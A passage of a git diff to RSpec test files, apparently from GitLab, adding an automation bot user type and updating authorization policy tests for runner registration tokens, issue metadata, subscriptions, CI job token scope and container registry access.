- expect(described_class.active_without_ghosts).to match_array([user1, user4])
+ expect(described_class.active_without_ghosts).to match_array([user1, user4, user6])
end
end
@@ -5409,7 +5386,8 @@ RSpec.describe User do
{ user_type: :ghost },
{ user_type: :alert_bot },
{ user_type: :support_bot },
- { user_type: :security_bot }
+ { user_type: :security_bot },
+ { user_type: :automation_bot }
]
end
@@ -5465,6 +5443,7 @@ RSpec.describe User do
'alert_bot' | false
'support_bot' | false
'security_bot' | false
+ 'automation_bot' | false
end
with_them do
@@ -5612,10 +5591,12 @@ RSpec.describe User do
it_behaves_like 'bot users', :migration_bot
it_behaves_like 'bot users', :security_bot
it_behaves_like 'bot users', :ghost
+ it_behaves_like 'bot users', :automation_bot
it_behaves_like 'bot user avatars', :alert_bot, 'alert-bot.png'
it_behaves_like 'bot user avatars', :support_bot, 'support-bot.png'
it_behaves_like 'bot user avatars', :security_bot, 'security-bot.png'
+ it_behaves_like 'bot user avatars', :automation_bot, 'support-bot.png'
context 'when bot is the support_bot' do
subject { described_class.support_bot }
diff --git a/spec/policies/global_policy_spec.rb b/spec/policies/global_policy_spec.rb
index bbbc5d08c07..9e995366c17 100644
--- a/spec/policies/global_policy_spec.rb
+++ b/spec/policies/global_policy_spec.rb
@@ -565,4 +565,34 @@ RSpec.describe GlobalPolicy do
it { is_expected.not_to be_allowed(:log_in) }
end
end
+
+ describe 'update_runners_registration_token' do
+ context 'when anonymous' do
+ let(:current_user) { nil }
+
+ it { is_expected.not_to be_allowed(:update_runners_registration_token) }
+ end
+
+ context 'regular user' do
+ it { is_expected.not_to be_allowed(:update_runners_registration_token) }
+ end
+
+ context 'when external' do
+ let(:current_user) { build(:user, :external) }
+
+ it { is_expected.not_to be_allowed(:update_runners_registration_token) }
+ end
+
+ context 'admin' do
+ let(:current_user) { create(:admin) }
+
+ context 'when admin mode is enabled', :enable_admin_mode do
+ it { is_expected.to be_allowed(:update_runners_registration_token) }
+ end
+
+ context 'when admin mode is disabled' do
+ it { is_expected.to be_disallowed(:update_runners_registration_token) }
+ end
+ end
+ end
end
diff --git a/spec/policies/group_policy_spec.rb b/spec/policies/group_policy_spec.rb
index f5e389ff338..9fac5521aa6 100644
--- a/spec/policies/group_policy_spec.rb
+++ b/spec/policies/group_policy_spec.rb
@@ -924,53 +924,53 @@ RSpec.describe GroupPolicy do
end
end
- context 'timelogs' do
- context 'with admin' do
+ describe 'update_runners_registration_token' do
+ context 'admin' do
let(:current_user) { admin }
context 'when admin mode is enabled', :enable_admin_mode do
- it { is_expected.to be_allowed(:read_group_timelogs) }
+ it { is_expected.to be_allowed(:update_runners_registration_token) }
end
context 'when admin mode is disabled' do
- it { is_expected.to be_disallowed(:read_group_timelogs) }
+ it { is_expected.to be_disallowed(:update_runners_registration_token) }
end
end
context 'with owner' do
let(:current_user) { owner }
- it { is_expected.to be_allowed(:read_group_timelogs) }
+ it { is_expected.to be_allowed(:update_runners_registration_token) }
end
context 'with maintainer' do
let(:current_user) { maintainer }
- it { is_expected.to be_allowed(:read_group_timelogs) }
+ it { is_expected.to be_allowed(:update_runners_registration_token) }
end
context 'with reporter' do
let(:current_user) { reporter }
- it { is_expected.to be_allowed(:read_group_timelogs) }
+ it { is_expected.to be_disallowed(:update_runners_registration_token) }
end
context 'with guest' do
let(:current_user) { guest }
- it { is_expected.to be_disallowed(:read_group_timelogs) }
+ it { is_expected.to be_disallowed(:update_runners_registration_token) }
end
context 'with non member' do
let(:current_user) { create(:user) }
- it { is_expected.to be_disallowed(:read_group_timelogs) }
+ it { is_expected.to be_disallowed(:update_runners_registration_token) }
end
context 'with anonymous' do
let(:current_user) { nil }
- it { is_expected.to be_disallowed(:read_group_timelogs) }
+ it { is_expected.to be_disallowed(:update_runners_registration_token) }
end
end
end
diff --git a/spec/policies/issue_policy_spec.rb b/spec/policies/issue_policy_spec.rb
index 76788ae2cb7..bc09191f6ec 100644
--- a/spec/policies/issue_policy_spec.rb
+++ b/spec/policies/issue_policy_spec.rb
@@ -21,6 +21,7 @@ RSpec.describe IssuePolicy do
let(:project) { create(:project, :private) }
let(:issue) { create(:issue, project: project, assignees: [assignee], author: author) }
let(:issue_no_assignee) { create(:issue, project: project) }
+ let(:new_issue) { build(:issue, project: project, assignees: [assignee], author: author) }
before do
project.add_guest(guest)
@@ -34,42 +35,51 @@ RSpec.describe IssuePolicy do
end
it 'does not allow non-members to read issues' do
- expect(permissions(non_member, issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
- expect(permissions(non_member, issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(non_member, issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
+ expect(permissions(non_member, issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
+ expect(permissions(non_member, new_issue)).to be_disallowed(:create_issue, :set_issue_metadata)
end
it 'allows guests to read issues' do
expect(permissions(guest, issue)).to be_allowed(:read_issue, :read_issue_iid)
- expect(permissions(guest, issue)).to be_disallowed(:update_issue, :admin_issue)
+ expect(permissions(guest, issue)).to be_disallowed(:update_issue, :admin_issue, :set_issue_metadata)
expect(permissions(guest, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid)
- expect(permissions(guest, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue)
+ expect(permissions(guest, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :set_issue_metadata)
+
+ expect(permissions(guest, new_issue)).to be_allowed(:create_issue, :set_issue_metadata)
end
it 'allows reporters to read, update, and admin issues' do
- expect(permissions(reporter, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
- expect(permissions(reporter, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(reporter, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
+ expect(permissions(reporter, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
+ expect(permissions(reporter, new_issue)).to be_allowed(:create_issue, :set_issue_metadata)
end
it 'allows reporters from group links to read, update, and admin issues' do
- expect(permissions(reporter_from_group_link, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
- expect(permissions(reporter_from_group_link, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(reporter_from_group_link, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
+ expect(permissions(reporter_from_group_link, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
+ expect(permissions(reporter_from_group_link, new_issue)).to be_allowed(:create_issue, :set_issue_metadata)
end
it 'allows issue authors to read and update their issues' do
expect(permissions(author, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
- expect(permissions(author, issue)).to be_disallowed(:admin_issue)
+ expect(permissions(author, issue)).to be_disallowed(:admin_issue, :set_issue_metadata)
expect(permissions(author, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid)
- expect(permissions(author, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue)
+ expect(permissions(author, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :set_issue_metadata)
+
+ expect(permissions(author, new_issue)).to be_allowed(:create_issue, :set_issue_metadata)
end
it 'allows issue assignees to read and update their issues' do
expect(permissions(assignee, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
- expect(permissions(assignee, issue)).to be_disallowed(:admin_issue)
+ expect(permissions(assignee, issue)).to be_disallowed(:admin_issue, :set_issue_metadata)
expect(permissions(assignee, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid)
- expect(permissions(assignee, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue)
+ expect(permissions(assignee, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :set_issue_metadata)
+
+ expect(permissions(assignee, new_issue)).to be_allowed(:create_issue, :set_issue_metadata)
end
context 'with confidential issues' do
@@ -78,48 +88,49 @@ RSpec.describe IssuePolicy do
it 'does not allow non-members to read confidential issues' do
expect(permissions(non_member, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
- expect(permissions(non_member, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(non_member, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
end
it 'does not allow guests to read confidential issues' do
expect(permissions(guest, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
- expect(permissions(guest, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(guest, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
end
it 'allows reporters to read, update, and admin confidential issues' do
- expect(permissions(reporter, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
- expect(permissions(reporter, confidential_issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(reporter, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
+ expect(permissions(reporter, confidential_issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
end
it 'allows reporters from group links to read, update, and admin confidential issues' do
- expect(permissions(reporter_from_group_link, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
- expect(permissions(reporter_from_group_link, confidential_issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(reporter_from_group_link, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
+ expect(permissions(reporter_from_group_link, confidential_issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
end
it 'allows issue authors to read and update their confidential issues' do
expect(permissions(author, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
- expect(permissions(author, confidential_issue)).to be_disallowed(:admin_issue)
+ expect(permissions(author, confidential_issue)).to be_disallowed(:admin_issue, :set_issue_metadata)
expect(permissions(author, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(author, confidential_issue_no_assignee)).to be_disallowed(:admin_issue, :set_issue_metadata)
end
it 'does not allow issue author to read or update confidential issue moved to an private project' do
confidential_issue.project = create(:project, :private)
- expect(permissions(author, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue)
+ expect(permissions(author, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :set_issue_metadata)
end
it 'allows issue assignees to read and update their confidential issues' do
expect(permissions(assignee, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
- expect(permissions(assignee, confidential_issue)).to be_disallowed(:admin_issue)
+ expect(permissions(assignee, confidential_issue)).to be_disallowed(:admin_issue, :set_issue_metadata)
- expect(permissions(assignee, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(assignee, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
end
it 'does not allow issue assignees to read or update confidential issue moved to an private project' do
confidential_issue.project = create(:project, :private)
- expect(permissions(assignee, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue)
+ expect(permissions(assignee, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :set_issue_metadata)
end
end
end
@@ -129,6 +140,7 @@ RSpec.describe IssuePolicy do
let(:issue) { create(:issue, project: project, assignees: [assignee], author: author) }
let(:issue_no_assignee) { create(:issue, project: project) }
let(:issue_locked) { create(:issue, :locked, project: project, author: author, assignees: [assignee]) }
+ let(:new_issue) { build(:issue, project: project) }
before do
project.add_guest(guest)
@@ -139,56 +151,65 @@ RSpec.describe IssuePolicy do
create(:project_group_link, group: group, project: project)
end
- it 'does not allow guest to create todos' do
+ it 'does not allow anonymous user to create todos' do
expect(permissions(nil, issue)).to be_allowed(:read_issue)
- expect(permissions(nil, issue)).to be_disallowed(:create_todo)
+ expect(permissions(nil, issue)).to be_disallowed(:create_todo, :update_subscription, :set_issue_metadata)
+ expect(permissions(nil, new_issue)).to be_disallowed(:create_issue, :set_issue_metadata)
end
it 'allows guests to read issues' do
- expect(permissions(guest, issue)).to be_allowed(:read_issue, :read_issue_iid, :create_todo)
- expect(permissions(guest, issue)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue)
+ expect(permissions(guest, issue)).to be_allowed(:read_issue, :read_issue_iid, :create_todo, :update_subscription)
+ expect(permissions(guest, issue)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue, :set_issue_metadata)
expect(permissions(guest, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid)
- expect(permissions(guest, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue)
+ expect(permissions(guest, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue, :set_issue_metadata)
expect(permissions(guest, issue_locked)).to be_allowed(:read_issue, :read_issue_iid)
- expect(permissions(guest, issue_locked)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue)
+ expect(permissions(guest, issue_locked)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue, :set_issue_metadata)
+
+ expect(permissions(guest, new_issue)).to be_allowed(:create_issue, :set_issue_metadata)
end
it 'allows reporters to read, update, reopen, and admin issues' do
- expect(permissions(reporter, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :reopen_issue)
- expect(permissions(reporter, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :reopen_issue)
- expect(permissions(reporter, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(reporter, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :reopen_issue, :set_issue_metadata)
+ expect(permissions(reporter, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :reopen_issue, :set_issue_metadata)
+ expect(permissions(reporter, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
expect(permissions(reporter, issue_locked)).to be_disallowed(:reopen_issue)
+ expect(permissions(reporter, new_issue)).to be_allowed(:create_issue, :set_issue_metadata)
end
it 'allows reporters from group links to read, update, reopen and admin issues' do
- expect(permissions(reporter_from_group_link, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :reopen_issue)
- expect(permissions(reporter_from_group_link, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :reopen_issue)
- expect(permissions(reporter_from_group_link, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(reporter_from_group_link, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :reopen_issue, :set_issue_metadata)
+ expect(permissions(reporter_from_group_link, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :reopen_issue, :set_issue_metadata)
+ expect(permissions(reporter_from_group_link, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
expect(permissions(reporter_from_group_link, issue_locked)).to be_disallowed(:reopen_issue)
+ expect(permissions(reporter, new_issue)).to be_allowed(:create_issue, :set_issue_metadata)
end
it 'allows issue authors to read, reopen and update their issues' do
expect(permissions(author, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :reopen_issue)
- expect(permissions(author, issue)).to be_disallowed(:admin_issue)
+ expect(permissions(author, issue)).to be_disallowed(:admin_issue, :set_issue_metadata)
expect(permissions(author, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid)
- expect(permissions(author, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue)
+ expect(permissions(author, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue, :set_issue_metadata)
expect(permissions(author, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
- expect(permissions(author, issue_locked)).to be_disallowed(:admin_issue, :reopen_issue)
+ expect(permissions(author, issue_locked)).to be_disallowed(:admin_issue, :reopen_issue, :set_issue_metadata)
+
+ expect(permissions(author, new_issue)).to be_allowed(:create_issue, :set_issue_metadata)
end
it 'allows issue assignees to read, reopen and update their issues' do
expect(permissions(assignee, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :reopen_issue)
- expect(permissions(assignee, issue)).to be_disallowed(:admin_issue)
+ expect(permissions(assignee, issue)).to be_disallowed(:admin_issue, :set_issue_metadata)
expect(permissions(assignee, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid)
- expect(permissions(assignee, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue)
+ expect(permissions(assignee, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue, :set_issue_metadata)
expect(permissions(assignee, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
- expect(permissions(assignee, issue_locked)).to be_disallowed(:admin_issue, :reopen_issue)
+ expect(permissions(assignee, issue_locked)).to be_disallowed(:admin_issue, :reopen_issue, :set_issue_metadata)
+
+ expect(permissions(author, new_issue)).to be_allowed(:create_issue, :set_issue_metadata)
end
context 'when issues are private' do
@@ -205,12 +226,18 @@ RSpec.describe IssuePolicy do
it 'forbids visitors from commenting' do
expect(permissions(visitor, issue)).to be_disallowed(:create_note)
end
+ it 'forbids visitors from subscribing' do
+ expect(permissions(visitor, issue)).to be_disallowed(:update_subscription)
+ end
it 'allows guests to view' do
expect(permissions(guest, issue)).to be_allowed(:read_issue)
end
it 'allows guests to comment' do
expect(permissions(guest, issue)).to be_allowed(:create_note)
end
+ it 'allows guests to subscribe' do
+ expect(permissions(guest, issue)).to be_allowed(:update_subscription)
+ end
context 'when admin mode is enabled', :enable_admin_mode do
it 'allows admins to view' do
@@ -239,31 +266,31 @@ RSpec.describe IssuePolicy do
it 'does not allow guests to read confidential issues' do
expect(permissions(guest, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
- expect(permissions(guest, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(guest, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
end
it 'allows reporters to read, update, and admin confidential issues' do
expect(permissions(reporter, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
- expect(permissions(reporter, confidential_issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(reporter, confidential_issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
end
it 'allows reporter from group links to read, update, and admin confidential issues' do
expect(permissions(reporter_from_group_link, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
- expect(permissions(reporter_from_group_link, confidential_issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(reporter_from_group_link, confidential_issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
end
it 'allows issue authors to read and update their confidential issues' do
expect(permissions(author, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
- expect(permissions(author, confidential_issue)).to be_disallowed(:admin_issue)
+ expect(permissions(author, confidential_issue)).to be_disallowed(:admin_issue, :set_issue_metadata)
- expect(permissions(author, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(author, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
end
it 'allows issue assignees to read and update their confidential issues' do
expect(permissions(assignee, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
- expect(permissions(assignee, confidential_issue)).to be_disallowed(:admin_issue)
+ expect(permissions(assignee, confidential_issue)).to be_disallowed(:admin_issue, :set_issue_metadata)
- expect(permissions(assignee, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(assignee, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata)
end
end
end
diff --git a/spec/policies/merge_request_policy_spec.rb b/spec/policies/merge_request_policy_spec.rb
index 744822f58d1..b94df4d4374 100644
--- a/spec/policies/merge_request_policy_spec.rb
+++ b/spec/policies/merge_request_policy_spec.rb
@@ -26,7 +26,8 @@ RSpec.describe MergeRequestPolicy do
read_merge_request
create_todo
approve_merge_request
- create_note].freeze
+ create_note
+ update_subscription].freeze
shared_examples_for 'a denied user' do
let(:perms) { permissions(subject, merge_request) }
@@ -55,7 +56,7 @@ RSpec.describe MergeRequestPolicy do
subject { permissions(nil, merge_request) }
it do
- is_expected.to be_disallowed(:create_todo)
+ is_expected.to be_disallowed(:create_todo, :update_subscription)
end
end
end
diff --git a/spec/policies/project_policy_spec.rb b/spec/policies/project_policy_spec.rb
index 46da42a4787..d0fe0cca8a1 100644
--- a/spec/policies/project_policy_spec.rb
+++ b/spec/policies/project_policy_spec.rb
@@ -1386,53 +1386,249 @@ RSpec.describe ProjectPolicy do
end
end
- context 'timelogs' do
- context 'with admin' do
- let(:current_user) { admin }
+ describe 'when user is authenticated via CI_JOB_TOKEN', :request_store do
+ let(:current_user) { developer }
+ let(:job) { build_stubbed(:ci_build, project: scope_project, user: current_user) }
- context 'when admin mode enabled', :enable_admin_mode do
- it { is_expected.to be_allowed(:read_group_timelogs) }
+ before do
+ current_user.set_ci_job_token_scope!(job)
+ end
+
+ context 'when accessing a private project' do
+ let(:project) { private_project }
+
+ context 'when the job token comes from the same project' do
+ let(:scope_project) { project }
+
+ it { is_expected.to be_allowed(:developer_access) }
end
- context 'when admin mode disabled' do
- it { is_expected.to be_disallowed(:read_group_timelogs) }
+ context 'when the job token comes from another project' do
+ let(:scope_project) { create(:project, :private) }
+
+ before do
+ scope_project.add_developer(current_user)
+ end
+
+ it { is_expected.to be_disallowed(:guest_access) }
end
end
- context 'with owner' do
- let(:current_user) { owner }
+ context 'when accessing a public project' do
+ let(:project) { public_project }
- it { is_expected.to be_allowed(:read_group_timelogs) }
+ context 'when the job token comes from the same project' do
+ let(:scope_project) { project }
+
+ it { is_expected.to be_allowed(:developer_access) }
+ end
+
+ context 'when the job token comes from another project' do
+ let(:scope_project) { create(:project, :private) }
+
+ before do
+ scope_project.add_developer(current_user)
+ end
+
+ it { is_expected.to be_disallowed(:public_access) }
+ end
end
+ end
- context 'with maintainer' do
- let(:current_user) { maintainer }
+ describe 'container_image policies' do
+ using RSpec::Parameterized::TableSyntax
- it { is_expected.to be_allowed(:read_group_timelogs) }
+ let(:guest_operations_permissions) { [:read_container_image] }
+
+ let(:developer_operations_permissions) do
+ guest_operations_permissions + [
+ :create_container_image, :update_container_image, :destroy_container_image
+ ]
end
- context 'with reporter' do
- let(:current_user) { reporter }
+ let(:maintainer_operations_permissions) do
+ developer_operations_permissions + [
+ :admin_container_image
+ ]
+ end
- it { is_expected.to be_allowed(:read_group_timelogs) }
+ where(:project_visibility, :access_level, :role, :allowed) do
+ :public | ProjectFeature::ENABLED | :maintainer | true
+ :public | ProjectFeature::ENABLED | :developer | true
+ :public | ProjectFeature::ENABLED | :reporter | true
+ :public | ProjectFeature::ENABLED | :guest | true
+ :public | ProjectFeature::ENABLED | :anonymous | true
+ :public | ProjectFeature::PRIVATE | :maintainer | true
+ :public | ProjectFeature::PRIVATE | :developer | true
+ :public | ProjectFeature::PRIVATE | :reporter | true
+ :public | ProjectFeature::PRIVATE | :guest | false
+ :public | ProjectFeature::PRIVATE | :anonymous | false
+ :public | ProjectFeature::DISABLED | :maintainer | false
+ :public | ProjectFeature::DISABLED | :developer | false
+ :public | ProjectFeature::DISABLED | :reporter | false
+ :public | ProjectFeature::DISABLED | :guest | false
+ :public | ProjectFeature::DISABLED | :anonymous | false
+ :internal | ProjectFeature::ENABLED | :maintainer | true
+ :internal | ProjectFeature::ENABLED | :developer | true
+ :internal | ProjectFeature::ENABLED | :reporter | true
+ :internal | ProjectFeature::ENABLED | :guest | true
+ :internal | ProjectFeature::ENABLED | :anonymous | false
+ :internal | ProjectFeature::PRIVATE | :maintainer | true
+ :internal | ProjectFeature::PRIVATE | :developer | true
+ :internal | ProjectFeature::PRIVATE | :reporter | true
+ :internal | ProjectFeature::PRIVATE | :guest | false
+ :internal | ProjectFeature::PRIVATE | :anonymous | false
+ :internal | ProjectFeature::DISABLED | :maintainer | false
+ :internal | ProjectFeature::DISABLED | :developer | false
+ :internal | ProjectFeature::DISABLED | :reporter | false
+ :internal | ProjectFeature::DISABLED | :guest | false
+ :internal | ProjectFeature::DISABLED | :anonymous | false
+ :private | ProjectFeature::ENABLED | :maintainer | true
+ :private | ProjectFeature::ENABLED | :developer | true
+ :private | ProjectFeature::ENABLED | :reporter | true
+ :private | ProjectFeature::ENABLED | :guest | false
+ :private | ProjectFeature::ENABLED | :anonymous | false
+ :private | ProjectFeature::PRIVATE | :maintainer | true
+ :private | ProjectFeature::PRIVATE | :developer | true
+ :private | ProjectFeature::PRIVATE | :reporter | true
+ :private | ProjectFeature::PRIVATE | :guest | false
+ :private | ProjectFeature::PRIVATE | :anonymous | false
+ :private | ProjectFeature::DISABLED | :maintainer | false
+ :private | ProjectFeature::DISABLED | :developer | false
+ :private | ProjectFeature::DISABLED | :reporter | false
+ :private | ProjectFeature::DISABLED | :guest | false
+ :private | ProjectFeature::DISABLED | :anonymous | false
end
- context 'with guest' do
- let(:current_user) { guest }
+ with_them do
+ let(:current_user) { send(role) }
+ let(:project) { send("#{project_visibility}_project") }
+
+ it 'allows/disallows the abilities based on the container_registry feature access level' do
+ project.project_feature.update!(container_registry_access_level: access_level)
+
+ if allowed
+ expect_allowed(*permissions_abilities(role))
+ else
+ expect_disallowed(*permissions_abilities(role))
+ end
+ end
- it { is_expected.to be_disallowed(:read_group_timelogs) }
+ def permissions_abilities(role)
+ case role
+ when :maintainer
+ maintainer_operations_permissions
+ when :developer
+ developer_operations_permissions
+ when :reporter, :guest, :anonymous
+ guest_operations_permissions
+ else
+ raise "Unknown role #{role}"
+ end
+ end
end
- context 'with non member' do
- let(:current_user) { non_member }
+ context 'with read_container_registry_access_level disabled' do
+ before do
+ stub_feature_flags(read_container_registry_access_level: false)
+ end
+
+ where(:project_visibility, :container_registry_enabled, :role, :allowed) do
+ :public | true | :maintainer | true
+ :public | true | :developer | true
+ :public | true | :reporter | true
+ :public | true | :guest | true
+ :public | true | :anonymous | true
+ :public | false | :maintainer | false
+ :public | false | :developer | false
+ :public | false | :reporter | false
+ :public | false | :guest | false
+ :public | false | :anonymous | false
+ :internal | true | :maintainer | true
+ :internal | true | :developer | true
+ :internal | true | :reporter | true
+ :internal | true | :guest | true
+ :internal | true | :anonymous | false
+ :internal | false | :maintainer | false
+ :internal | false | :developer | false
+ :internal | false | :reporter | false
+ :internal | false | :guest | false
+ :internal | false | :anonymous | false
+ :private | true | :maintainer | true
+ :private | true | :developer | true
+ :private | true | :reporter | true
+ :private | true | :guest | false
+ :private | true | :anonymous | false
+ :private | false | :maintainer | false
+ :private | false | :developer | false
+ :private | false | :reporter | false
+ :private | false | :guest | false
+ :private | false | :anonymous | false
+ end
+
+ with_them do
+ let(:current_user) { send(role) }
+ let(:project) { send("#{project_visibility}_project") }
+
+ it 'allows/disallows the abilities based on container_registry_enabled' do
+ project.update_column(:container_registry_enabled, container_registry_enabled)
+
+ if allowed
+ expect_allowed(*permissions_abilities(role))
+ else
+ expect_disallowed(*permissions_abilities(role))
+ end
+ end
- it { is_expected.to be_disallowed(:read_group_timelogs) }
+ def permissions_abilities(role)
+ case role
+ when :maintainer
+ maintainer_operations_permissions
+ when :developer
+ developer_operations_permissions
+ when :reporter, :guest, :anonymous
+ guest_operations_permissions
+ else
+ raise "Unknown role #{role}"
+ end
+ end
+ end
end
+ end
- context 'with anonymous' do
+ describe 'update_runners_registration_token' do
+ context 'when anonymous' do
let(:current_user) { anonymous }
- it { is_expected.to be_disallowed(:read_group_timelogs) }
+ it { is_expected.not_to be_allowed(:update_runners_registration_token) }
+ end
+
+ context 'admin' do
+ let(:current_user) { create(:admin) }
+
+ context 'when admin mode is enabled', :enable_admin_mode do
+ it { is_expected.to be_allowed(:update_runners_registration_token) }
+ end
+
+ context 'when admin mode is disabled' do
+ it { is_expected.to be_disallowed(:update_runners_registration_token) }
+ end
+ end
+
+ %w(guest reporter developer).each do |role|
+ context role do
+ let(:current_user) { send(role) }
+
+ it { is_expected.to be_disallowed(:update_runners_registration_token) }
+ end
+ end
+
+ %w(maintainer owner).each do |role|
+ context role do
+ let(:current_user) { send(role) }
+
+ it { is_expected.to be_allowed(:update_runners_registration_token) }
+ end
end
end
end
